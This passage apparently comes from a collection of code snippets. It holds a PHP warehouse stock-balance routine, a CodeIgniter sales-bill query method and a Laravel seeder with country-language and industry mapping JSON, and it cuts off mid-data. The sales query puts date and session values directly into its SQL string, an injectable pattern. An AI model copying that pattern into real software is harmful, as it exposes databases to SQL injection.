DB::fetch_all($sql);\n\t\t\tif(isset($old_items[$row['id']]))\n {\n\t\t\t\tif(isset($old_items[$row['id']]['import_number']))\n\t\t\t\t\t$this->map['start_remain'] += round($old_items[$row['id']]['import_number'],2);\n\t\t\t\tif(isset($old_items[$row['id']]['export_number']))\n\t\t\t\t\t$this->map['start_remain'] -= round($old_items[$row['id']]['export_number'],2);\t\t\t\n\t\t\t}\n\t\t\t$remain = $this->map['start_remain'];\n\t\t\tforeach($items as $key=>$value)\n {\n\t\t\t\t$items[$key]['create_date'] = Date_Time::convert_orc_date_to_date($value['create_date'],'/');\n\t\t\t\tif($value['type']=='IMPORT' or $value['to_warehouse_id'] == Url::get('warehouse_id'))\n\t\t\t\t\t$items[$key]['import_number'] = $value['num'];\n else\n\t\t\t\t\t$items[$key]['import_number'] = 0;\n\t\t\t\tif($value['type']=='EXPORT' and $value['to_warehouse_id'] != Url::get('warehouse_id'))\n {\n $items[$key]['export_number'] = $value['num']; \n }\n else\n\t\t\t\t\t$items[$key]['export_number'] = 0;\n\t\t\t\t$this->map['end_remain'] += round($items[$key]['import_number'],2) - round($items[$key]['export_number'],2);\n\t\t\t\t$remain = round($remain,2) + round($items[$key]['import_number'],2) - round($items[$key]['export_number'],2);\n if(User::id()=='developer06')\n {\n //echo $remain.'</br>';\n }\n\t\t\t\t$items[$key]['remain'] = $remain;\n\t\t\t\t$this->map['import_total'] += $items[$key]['import_number'];\n\t\t\t\t$this->map['export_total'] += $items[$key]['export_number'];\n if($items[$key]['export_number'] < 1)\n {\n $items[$key]['export_number'] = '0'.$items[$key]['export_number'];\n }\n\t\t\t}\n\t\t\t$this->map['end_remain'] += $this->map['start_remain'];\n\t\t\treturn $items;\n\t\t}\n\t}", "abstract function display( $p_filter_value );", "function get_detailsFilter($fromYear,$toYear){\n $CoID = $this->session->userdata('CoID') ;\n $WorkYear = $this->session->userdata('WorkYear') ; \n\n $sql = \" \n select \n BillNo, \n BillDate, \n GodownID, \n SaleMast.PartyCode CPName, \n PartyMaster.PartyName PartyTitle, \n BrokerID, \n Broker.ACTitle BrokerTitle, \n BillAmt\n \n from SaleMast, PartyMaster, ACMaster Broker\n\n where SaleMast.PartyCode = PartyMaster.PartyCode\n and SaleMast.CoID = PartyMaster.CoID \n and SaleMast.WorkYear = PartyMaster.WorkYear \n \n and SaleMast.BrokerId = Broker.ACCode\n and SaleMast.CoID = Broker.CoID\n and SaleMast.WorkYear = Broker.WorkYear\n\n and SaleMast.CoID = '$CoID'\n and SaleMast.WorkYear = '$WorkYear'\n and BillDate BETWEEN '$fromYear' AND '$toYear'\n order by BillDate DESC, CAST(BillNo AS Integer) DESC \n \";\n $result = $this->db->query($sql)->result_array();\n\n if(empty($result)){\n $emptyArray=array(\"empty\"); \n return array($emptyArray,$fromYear,$toYear);\n }\n\n return array($result,$fromYear,$toYear); \n }", "public function run()\n {\n $data = '[{\"code\":\"1185\",\"name\":\"Fulcrum\",\"project_industry\":[{\"SJ_ID\":1,\"SJ_CODE\":\"AUTO\",\"SOURCE_MAP_ID\":1,\"SOURCE_MAP_CODE\":\"AUTO\"},{\"SJ_ID\":2,\"SJ_CODE\":\"BEAU\",\"SOURCE_MAP_ID\":2,\"SOURCE_MAP_CODE\":\"BEAU\"},{\"SJ_ID\":3,\"SJ_CODE\":\"BEV-AL\",\"SOURCE_MAP_ID\":3,\"SOURCE_MAP_CODE\":\"BEV-AL\"},{\"SJ_ID\":4,\"SJ_CODE\":\"BEV-NONAL\",\"SOURCE_MAP_ID\":4,\"SOURCE_MAP_CODE\":\"BEV-NONAL\"},{\"SJ_ID\":5,\"SJ_CODE\":\"EDUC\",\"SOURCE_MAP_ID\":5,\"SOURCE_MAP_CODE\":\"EDUC\"},{\"SJ_ID\":6,\"SJ_CODE\":\"ELEC\",\"SOURCE_MAP_ID\":6,\"SOURCE_MAP_CODE\":\"ELEC\"},{\"SJ_ID\":7,\"SJ_CODE\":\"ENTE\",\"SOURCE_MAP_ID\":7,\"SOURCE_MAP_CODE\":\"ENTE\"},{\"SJ_ID\":8,\"SJ_CODE\":\"FASH\",\"SOURCE_MAP_ID\":8,\"SOURCE_MAP_CODE\":\"FASH\"},{\"SJ_ID\":9,\"SJ_CODE\":\"FINA\",\"SOURCE_MAP_ID\":9,\"SOURCE_MAP_CODE\":\"FINA\"},{\"SJ_ID\":10,\"SJ_CODE\":\"FOOD\",\"SOURCE_MAP_ID\":10,\"SOURCE_MAP_CODE\":\"FOOD\"},{\"SJ_ID\":11,\"SJ_CODE\":\"GAMB\",\"SOURCE_MAP_ID\":11,\"SOURCE_MAP_CODE\":\"GAMB\"},{\"SJ_ID\":12,\"SJ_CODE\":\"HEAL\",\"SOURCE_MAP_ID\":12,\"SOURCE_MAP_CODE\":\"HEAL\"},{\"SJ_ID\":13,\"SJ_CODE\":\"HOME-UT\",\"SOURCE_MAP_ID\":13,\"SOURCE_MAP_CODE\":\"HOME-UT\"},{\"SJ_ID\":14,\"SJ_CODE\":\"HOME-EN\",\"SOURCE_MAP_ID\":14,\"SOURCE_MAP_CODE\":\"HOME-EN\"},{\"SJ_ID\":15,\"SJ_CODE\":\"HOME-IM\",\"SOURCE_MAP_ID\":15,\"SOURCE_MAP_CODE\":\"HOME-IM\"},{\"SJ_ID\":16,\"SJ_CODE\":\"IT\",\"SOURCE_MAP_ID\":16,\"SOURCE_MAP_CODE\":\"IT\"},{\"SJ_ID\":17,\"SJ_CODE\":\"PERS\",\"SOURCE_MAP_ID\":17,\"SOURCE_MAP_CODE\":\"PERS\"},{\"SJ_ID\":18,\"SJ_CODE\":\"PETS\",\"SOURCE_MAP_ID\":18,\"SOURCE_MAP_CODE\":\"PETS\"},{\"SJ_ID\":19,\"SJ_CODE\":\"POLI\",\"SOURCE_MAP_ID\":19,\"SOURCE_MAP_CODE\":\"POLI\"},{\"SJ_ID\":20,\"SJ_CODE\":\"PUBL\",\"SOURCE_MAP_ID\":20,\"SOURCE_MAP_CODE\":\"PUBL\"},{\"SJ_ID\":21,\"SJ_CODE\":\"REST\",\"SOURCE_MAP_ID\":21,\"SOURCE_MAP_CODE\":\"REST\"},{\"SJ_ID\":22,\"SJ_CODE\":\"SPOR\",\"SOURCE_MAP_ID\":22,\"SOURCE_MAP_CODE\":\"SPOR\"},{\"SJ_ID\":23,\"SJ_CODE\":\"TELE\",\"SOURCE_MAP_ID\":23,\"SOURCE_MAP_CODE\":\"TELE\"},{\"SJ_ID\":24,\"SJ_CODE\":\"TOBA\",\"SOURCE_MAP_ID\":24,\"SOURCE_MAP_CODE\":\"TOBA\"},{\"SJ_ID\":25,\"SJ_CODE\":\"TOYS\",\"SOURCE_MAP_ID\":25,\"SOURCE_MAP_CODE\":\"TOYS\"},{\"SJ_ID\":26,\"SJ_CODE\":\"TRAN\",\"SOURCE_MAP_ID\":26,\"SOURCE_MAP_CODE\":\"TRAN\"},{\"SJ_ID\":27,\"SJ_CODE\":\"TRAV\",\"SOURCE_MAP_ID\":27,\"SOURCE_MAP_CODE\":\"TRAV\"},{\"SJ_ID\":28,\"SJ_CODE\":\"VIDE\",\"SOURCE_MAP_ID\":28,\"SOURCE_MAP_CODE\":\"VIDE\"},{\"SJ_ID\":29,\"SJ_CODE\":\"WEBS\",\"SOURCE_MAP_ID\":29,\"SOURCE_MAP_CODE\":\"WEBS\"},{\"SJ_ID\":30,\"SJ_CODE\":\"Z_OT\",\"SOURCE_MAP_ID\":30,\"SOURCE_MAP_CODE\":\"Z_OT\"},{\"SJ_ID\":31,\"SJ_CODE\":\"SENS\",\"SOURCE_MAP_ID\":31,\"SOURCE_MAP_CODE\":\"SENS\"},{\"SJ_ID\":32,\"SJ_CODE\":\"EXPL\",\"SOURCE_MAP_ID\":32,\"SOURCE_MAP_CODE\":\"EXPL\"}],\"project_study_types\":[{\"SJ_ID\":1,\"SJ_CODE\":\"ADH\",\"SOURCE_MAP_ID\":1,\"SOURCE_MAP_CODE\":\"ADH\"},{\"SJ_ID\":2,\"SJ_CODE\":\"DIA\",\"SOURCE_MAP_ID\":2,\"SOURCE_MAP_CODE\":\"DIA\"},{\"SJ_ID\":3,\"SJ_CODE\":\"IHU\",\"SOURCE_MAP_ID\":5,\"SOURCE_MAP_CODE\":\"IHU\"},{\"SJ_ID\":4,\"SJ_CODE\":\"REC - CLT\",\"SOURCE_MAP_ID\":8,\"SOURCE_MAP_CODE\":\"REC - CLT\"},{\"SJ_ID\":5,\"SJ_CODE\":\"REC - PAN\",\"SOURCE_MAP_ID\":11,\"SOURCE_MAP_CODE\":\"REC - PAN\"},{\"SJ_ID\":6,\"SJ_CODE\":\"TRAC\",\"SOURCE_MAP_ID\":1,\"SOURCE_MAP_CODE\":\"ADH\"},{\"SJ_ID\":7,\"SJ_CODE\":\"WAV\",\"SOURCE_MAP_ID\":16,\"SOURCE_MAP_CODE\":\"WAV\"},{\"SJ_ID\":8,\"SJ_CODE\":\"IC\",\"SOURCE_MAP_ID\":21,\"SOURCE_MAP_CODE\":\"IC\"},{\"SJ_ID\":9,\"SJ_CODE\":\"RECON\",\"SOURCE_MAP_ID\":22,\"SOURCE_MAP_CODE\":\"RECON\"},{\"SJ_ID\":10,\"SJ_CODE\":\"AER\",\"SOURCE_MAP_ID\":23,\"SOURCE_MAP_CODE\":\"AER\"}],\"project_statuses\":[{\"SJ_ID\":2,\"SJ_CODE\":\"PENDING\",\"SOURCE_MAP_ID\":4,\"SOURCE_MAP_CODE\":\"01\"},{\"SJ_ID\":3,\"SJ_CODE\":\"CANCELLED\",\"SOURCE_MAP_ID\":0,\"SOURCE_MAP_CODE\":\"06\"},{\"SJ_ID\":4,\"SJ_CODE\":\"LIVE\",\"SOURCE_MAP_ID\":2,\"SOURCE_MAP_CODE\":\"03\"},{\"SJ_ID\":5,\"SJ_CODE\":\"HOLD\",\"SOURCE_MAP_ID\":1,\"SOURCE_MAP_CODE\":\"02\"},{\"SJ_ID\":6,\"SJ_CODE\":\"CLOSED\",\"SOURCE_MAP_ID\":3,\"SOURCE_MAP_CODE\":\"04\"}],\"country_language\":[{\"SJ_CON_CODE\":\"AE\",\"SJ_LANG_CODE\":\"AR\",\"FL_CON_LANG_ID\":82,\"FL_CON_LANG_CODE\":\"ARA-AE\",\"FL_COUNTRY\":\"United Arab Emirates\",\"FL_LANGUAGE\":\"Arabic\"},{\"SJ_CON_CODE\":\"AE\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":93,\"FL_CON_LANG_CODE\":\"ENG-AE\",\"FL_COUNTRY\":\"United Arab Emirates\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"AR\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":107,\"FL_CON_LANG_CODE\":\"ENG-AR\",\"FL_COUNTRY\":\"Argentina\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"AR\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":19,\"FL_CON_LANG_CODE\":\"SPA-AR\",\"FL_COUNTRY\":\"Argentina\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"AT\",\"SJ_LANG_CODE\":\"DE\",\"FL_CON_LANG_ID\":38,\"FL_CON_LANG_CODE\":\"GER-AT\",\"FL_COUNTRY\":\"Austria\",\"FL_LANGUAGE\":\"German\"},{\"SJ_CON_CODE\":\"AU\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":5,\"FL_CON_LANG_CODE\":\"ENG-AU\",\"FL_COUNTRY\":\"Australia\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"BE\",\"SJ_LANG_CODE\":\"DE\",\"FL_CON_LANG_ID\":94,\"FL_CON_LANG_CODE\":\"GER-BE\",\"FL_COUNTRY\":\"Belgium\",\"FL_LANGUAGE\":\"German\"},{\"SJ_CON_CODE\":\"BE\",\"SJ_LANG_CODE\":\"FR\",\"FL_CON_LANG_ID\":26,\"FL_CON_LANG_CODE\":\"FRE-BE\",\"FL_COUNTRY\":\"Belgium\",\"FL_LANGUAGE\":\"French\"},{\"SJ_CON_CODE\":\"BE\",\"SJ_LANG_CODE\":\"NL\",\"FL_CON_LANG_ID\":28,\"FL_CON_LANG_CODE\":\"DUT-BE\",\"FL_COUNTRY\":\"Belgium\",\"FL_LANGUAGE\":\"Dutch\"},{\"SJ_CON_CODE\":\"BO\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":189,\"FL_CON_LANG_CODE\":\"SPA-BO\",\"FL_COUNTRY\":\"Bolivia, Plurinational State of\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"BR\",\"SJ_LANG_CODE\":\"PT\",\"FL_CON_LANG_ID\":16,\"FL_CON_LANG_CODE\":\"POR-BR\",\"FL_COUNTRY\":\"Brazil\",\"FL_LANGUAGE\":\"Portuguese\"},{\"SJ_CON_CODE\":\"CA\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":6,\"FL_CON_LANG_CODE\":\"ENG-CA\",\"FL_COUNTRY\":\"Canada\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"CA\",\"SJ_LANG_CODE\":\"FR\",\"FL_CON_LANG_ID\":25,\"FL_CON_LANG_CODE\":\"FRE-CA\",\"FL_COUNTRY\":\"Canada\",\"FL_LANGUAGE\":\"French\"},{\"SJ_CON_CODE\":\"CH\",\"SJ_LANG_CODE\":\"DE\",\"FL_CON_LANG_ID\":12,\"FL_CON_LANG_CODE\":\"GER-CH\",\"FL_COUNTRY\":\"Switzerland\",\"FL_LANGUAGE\":\"German\"},{\"SJ_CON_CODE\":\"CH\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":36,\"FL_CON_LANG_CODE\":\"ENG-CH\",\"FL_COUNTRY\":\"Switzerland\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"CH\",\"SJ_LANG_CODE\":\"FR\",\"FL_CON_LANG_ID\":34,\"FL_CON_LANG_CODE\":\"FRE-CH\",\"FL_COUNTRY\":\"Switzerland\",\"FL_LANGUAGE\":\"French\"},{\"SJ_CON_CODE\":\"CL\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":47,\"FL_CON_LANG_CODE\":\"SPA-CL\",\"FL_COUNTRY\":\"Chile\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"CN\",\"SJ_LANG_CODE\":\"ZH\",\"FL_CON_LANG_ID\":161,\"FL_CON_LANG_CODE\":\"YUE-CN\",\"FL_COUNTRY\":\"China\",\"FL_LANGUAGE\":\"Cantonese\"},{\"SJ_CON_CODE\":\"CO\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":20,\"FL_CON_LANG_CODE\":\"SPA-CO\",\"FL_COUNTRY\":\"Colombia\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"DE\",\"SJ_LANG_CODE\":\"DE\",\"FL_CON_LANG_ID\":11,\"FL_CON_LANG_CODE\":\"GER-DE\",\"FL_COUNTRY\":\"Germany\",\"FL_LANGUAGE\":\"German\"},{\"SJ_CON_CODE\":\"DE\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":74,\"FL_CON_LANG_CODE\":\"ENG-DE\",\"FL_COUNTRY\":\"Germany\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"DK\",\"SJ_LANG_CODE\":\"DA\",\"FL_CON_LANG_ID\":31,\"FL_CON_LANG_CODE\":\"DAN-DK\",\"FL_COUNTRY\":\"Denmark\",\"FL_LANGUAGE\":\"Danish\"},{\"SJ_CON_CODE\":\"EG\",\"SJ_LANG_CODE\":\"AR\",\"FL_CON_LANG_ID\":77,\"FL_CON_LANG_CODE\":\"ARA-EG\",\"FL_COUNTRY\":\"Egypt\",\"FL_LANGUAGE\":\"Arabic\"},{\"SJ_CON_CODE\":\"EG\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":128,\"FL_CON_LANG_CODE\":\"ENG-EG\",\"FL_COUNTRY\":\"Egypt\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"ES\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":119,\"FL_CON_LANG_CODE\":\"ENG-ES\",\"FL_COUNTRY\":\"Spain\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"ES\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":22,\"FL_CON_LANG_CODE\":\"SPA-ES\",\"FL_COUNTRY\":\"Spain\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"FI\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":147,\"FL_CON_LANG_CODE\":\"ENG-FI\",\"FL_COUNTRY\":\"Finland\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"FI\",\"SJ_LANG_CODE\":\"FI\",\"FL_CON_LANG_ID\":32,\"FL_CON_LANG_CODE\":\"FIN-FI\",\"FL_COUNTRY\":\"Finland\",\"FL_LANGUAGE\":\"Finnish\"},{\"SJ_CON_CODE\":\"FR\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":99,\"FL_CON_LANG_CODE\":\"ENG-FR\",\"FL_COUNTRY\":\"France\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"FR\",\"SJ_LANG_CODE\":\"FR\",\"FL_CON_LANG_ID\":10,\"FL_CON_LANG_CODE\":\"FRE-FR\",\"FL_COUNTRY\":\"France\",\"FL_LANGUAGE\":\"French\"},{\"SJ_CON_CODE\":\"GR\",\"SJ_LANG_CODE\":\"GR\",\"FL_CON_LANG_ID\":40,\"FL_CON_LANG_CODE\":\"GRE-GR\",\"FL_COUNTRY\":\"Greece\",\"FL_LANGUAGE\":\"Greek\"},{\"SJ_CON_CODE\":\"HK\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":73,\"FL_CON_LANG_CODE\":\"ENG-HK\",\"FL_COUNTRY\":\"Hong Kong\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"HK\",\"SJ_LANG_CODE\":\"ZH\",\"FL_CON_LANG_ID\":2,\"FL_CON_LANG_CODE\":\"CHI-HK\",\"FL_COUNTRY\":\"Hong Kong\",\"FL_LANGUAGE\":\"Cantonese\"},{\"SJ_CON_CODE\":\"ID\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":59,\"FL_CON_LANG_CODE\":\"ENG-ID\",\"FL_COUNTRY\":\"Indonesia\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"ID\",\"SJ_LANG_CODE\":\"ID\",\"FL_CON_LANG_ID\":52,\"FL_CON_LANG_CODE\":\"IND-ID\",\"FL_COUNTRY\":\"Indonesia\",\"FL_LANGUAGE\":\"Indonesian\"},{\"SJ_CON_CODE\":\"IE\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":43,\"FL_CON_LANG_CODE\":\"ENG-IE\",\"FL_COUNTRY\":\"Ireland\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"IN\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":7,\"FL_CON_LANG_CODE\":\"ENG-IN\",\"FL_COUNTRY\":\"India\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"IN\",\"SJ_LANG_CODE\":\"HI\",\"FL_CON_LANG_ID\":76,\"FL_CON_LANG_CODE\":\"HIN-IN\",\"FL_COUNTRY\":\"India\",\"FL_LANGUAGE\":\"Hindi\"},{\"SJ_CON_CODE\":\"IT\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":112,\"FL_CON_LANG_CODE\":\"ENG-IT\",\"FL_COUNTRY\":\"Italy\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"IT\",\"SJ_LANG_CODE\":\"IT\",\"FL_CON_LANG_ID\":13,\"FL_CON_LANG_CODE\":\"ITA-IT\",\"FL_COUNTRY\":\"Italy\",\"FL_LANGUAGE\":\"Italian\"},{\"SJ_CON_CODE\":\"JP\",\"SJ_LANG_CODE\":\"JP\",\"FL_CON_LANG_ID\":14,\"FL_CON_LANG_CODE\":\"JAP-JP\",\"FL_COUNTRY\":\"Japan\",\"FL_LANGUAGE\":\"Japanese\"},{\"SJ_CON_CODE\":\"MX\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":21,\"FL_CON_LANG_CODE\":\"SPA-MX\",\"FL_COUNTRY\":\"Mexico\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"MY\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":61,\"FL_CON_LANG_CODE\":\"ENG-MY\",\"FL_COUNTRY\":\"Malaysia\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"MY\",\"SJ_LANG_CODE\":\"MS\",\"FL_CON_LANG_ID\":53,\"FL_CON_LANG_CODE\":\"MAL-MY\",\"FL_COUNTRY\":\"Malaysia\",\"FL_LANGUAGE\":\"Malay\"},{\"SJ_CON_CODE\":\"MY\",\"SJ_LANG_CODE\":\"ZH\",\"FL_CON_LANG_ID\":91,\"FL_CON_LANG_CODE\":\"CHI-MY\",\"FL_COUNTRY\":\"Malaysia\",\"FL_LANGUAGE\":\"Cantonese \"},{\"SJ_CON_CODE\":\"NL\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":95,\"FL_CON_LANG_CODE\":\"ENG-NL\",\"FL_COUNTRY\":\"Netherlands\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"NL\",\"SJ_LANG_CODE\":\"NL\",\"FL_CON_LANG_ID\":4,\"FL_CON_LANG_CODE\":\"DUT-NL\",\"FL_COUNTRY\":\"Netherlands\",\"FL_LANGUAGE\":\"Dutch\"},{\"SJ_CON_CODE\":\"NO\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":148,\"FL_CON_LANG_CODE\":\"ENG-NO\",\"FL_COUNTRY\":\"Norway\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"NO\",\"SJ_LANG_CODE\":\"NO\",\"FL_CON_LANG_ID\":30,\"FL_CON_LANG_CODE\":\"NOR-NO\",\"FL_COUNTRY\":\"Norway\",\"FL_LANGUAGE\":\"Norwegian\"},{\"SJ_CON_CODE\":\"NZ\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":57,\"FL_CON_LANG_CODE\":\"ENG-NZ\",\"FL_COUNTRY\":\"New Zealand\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"PE\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":80,\"FL_CON_LANG_CODE\":\"SPA-PE\",\"FL_COUNTRY\":\"Peru\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"PH\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":58,\"FL_CON_LANG_CODE\":\"ENG-PH\",\"FL_COUNTRY\":\"Philippines\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"PH\",\"SJ_LANG_CODE\":\"FP\",\"FL_CON_LANG_ID\":55,\"FL_CON_LANG_CODE\":\"TAG-PH\",\"FL_COUNTRY\":\"Philippines\",\"FL_LANGUAGE\":\"Filipino\\/Tagalog\"},{\"SJ_CON_CODE\":\"PK\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":120,\"FL_CON_LANG_CODE\":\"ENG-PK\",\"FL_COUNTRY\":\"Pakistan\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"PK\",\"SJ_LANG_CODE\":\"UR\",\"FL_CON_LANG_ID\":121,\"FL_CON_LANG_CODE\":\"URD-PK\",\"FL_COUNTRY\":\"Pakistan\",\"FL_LANGUAGE\":\"Urdu\"},{\"SJ_CON_CODE\":\"PL\",\"SJ_LANG_CODE\":\"PL\",\"FL_CON_LANG_ID\":15,\"FL_CON_LANG_CODE\":\"POL-PL\",\"FL_COUNTRY\":\"Poland\",\"FL_LANGUAGE\":\"Polish\"},{\"SJ_CON_CODE\":\"PT\",\"SJ_LANG_CODE\":\"PT\",\"FL_CON_LANG_ID\":17,\"FL_CON_LANG_CODE\":\"POR-PT\",\"FL_COUNTRY\":\"Portugal\",\"FL_LANGUAGE\":\"Portuguese\"},{\"SJ_CON_CODE\":\"QA\",\"SJ_LANG_CODE\":\"AR\",\"FL_CON_LANG_ID\":83,\"FL_CON_LANG_CODE\":\"ARA-QA\",\"FL_COUNTRY\":\"Qatar\",\"FL_LANGUAGE\":\"Arabic\"},{\"SJ_CON_CODE\":\"QA\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":238,\"FL_CON_LANG_CODE\":\"ENG-QA\",\"FL_COUNTRY\":\"Qatar\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"RU\",\"SJ_LANG_CODE\":\"RU\",\"FL_CON_LANG_ID\":18,\"FL_CON_LANG_CODE\":\"RUS-RU\",\"FL_COUNTRY\":\"Russian Federation\",\"FL_LANGUAGE\":\"Russian\"},{\"SJ_CON_CODE\":\"SA\",\"SJ_LANG_CODE\":\"AR\",\"FL_CON_LANG_ID\":29,\"FL_CON_LANG_CODE\":\"ARA-SA\",\"FL_COUNTRY\":\"Saudi Arabia\",\"FL_LANGUAGE\":\"Arabic\"},{\"SJ_CON_CODE\":\"SA\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":149,\"FL_CON_LANG_CODE\":\"ENG-SA\",\"FL_COUNTRY\":\"Saudi Arabia\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"SE\",\"SJ_LANG_CODE\":\"SV\",\"FL_CON_LANG_ID\":23,\"FL_CON_LANG_CODE\":\"SWE-SE\",\"FL_COUNTRY\":\"Sweden\",\"FL_LANGUAGE\":\"Swedish\"},{\"SJ_CON_CODE\":\"SG\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":50,\"FL_CON_LANG_CODE\":\"ENG-SG\",\"FL_COUNTRY\":\"Singapore\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"SG\",\"SJ_LANG_CODE\":\"ZH\",\"FL_CON_LANG_ID\":90,\"FL_CON_LANG_CODE\":\"CHI-SG\",\"FL_COUNTRY\":\"Singapore\",\"FL_LANGUAGE\":\"Cantonese \"},{\"SJ_CON_CODE\":\"SK\",\"SJ_LANG_CODE\":\"SK\",\"FL_CON_LANG_ID\":78,\"FL_CON_LANG_CODE\":\"SLK-SK\",\"FL_COUNTRY\":\"Slovakia\",\"FL_LANGUAGE\":\"Slovak\"},{\"SJ_CON_CODE\":\"TH\",\"SJ_LANG_CODE\":\"TH\",\"FL_CON_LANG_ID\":54,\"FL_CON_LANG_CODE\":\"THA-TH\",\"FL_COUNTRY\":\"Thailand\",\"FL_LANGUAGE\":\"Thai\"},{\"SJ_CON_CODE\":\"TR\",\"SJ_LANG_CODE\":\"TR\",\"FL_CON_LANG_ID\":37,\"FL_CON_LANG_CODE\":\"TUR-TR\",\"FL_COUNTRY\":\"Turkey\",\"FL_LANGUAGE\":\"Turkish\"},{\"SJ_CON_CODE\":\"TW\",\"SJ_LANG_CODE\":\"ZH\",\"FL_CON_LANG_ID\":3,\"FL_CON_LANG_CODE\":\"CHI-TW\",\"FL_COUNTRY\":\"Taiwan, Province of China\",\"FL_LANGUAGE\":\"Cantonese\"},{\"SJ_CON_CODE\":\"US\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":9,\"FL_CON_LANG_CODE\":\"ENG-US\",\"FL_COUNTRY\":\"United States\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"US\",\"SJ_LANG_CODE\":\"ES\",\"FL_CON_LANG_ID\":27,\"FL_CON_LANG_CODE\":\"SPA-US\",\"FL_COUNTRY\":\"United States\",\"FL_LANGUAGE\":\"Spanish\"},{\"SJ_CON_CODE\":\"VN\",\"SJ_LANG_CODE\":\"VI\",\"FL_CON_LANG_ID\":81,\"FL_CON_LANG_CODE\":\"VIE-VN\",\"FL_COUNTRY\":\"Viet Nam\",\"FL_LANGUAGE\":\"Vietnamese\"},{\"SJ_CON_CODE\":\"UK\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":8,\"FL_CON_LANG_CODE\":\"ENG-GB\",\"FL_COUNTRY\":\"United Kingdom\",\"FL_LANGUAGE\":\"English\"},{\"SJ_CON_CODE\":\"ZA\",\"SJ_LANG_CODE\":\"EN\",\"FL_CON_LANG_ID\":49,\"FL_CON_LANG_CODE\":\"ENG-ZA\",\"FL_COUNTRY\":\"South 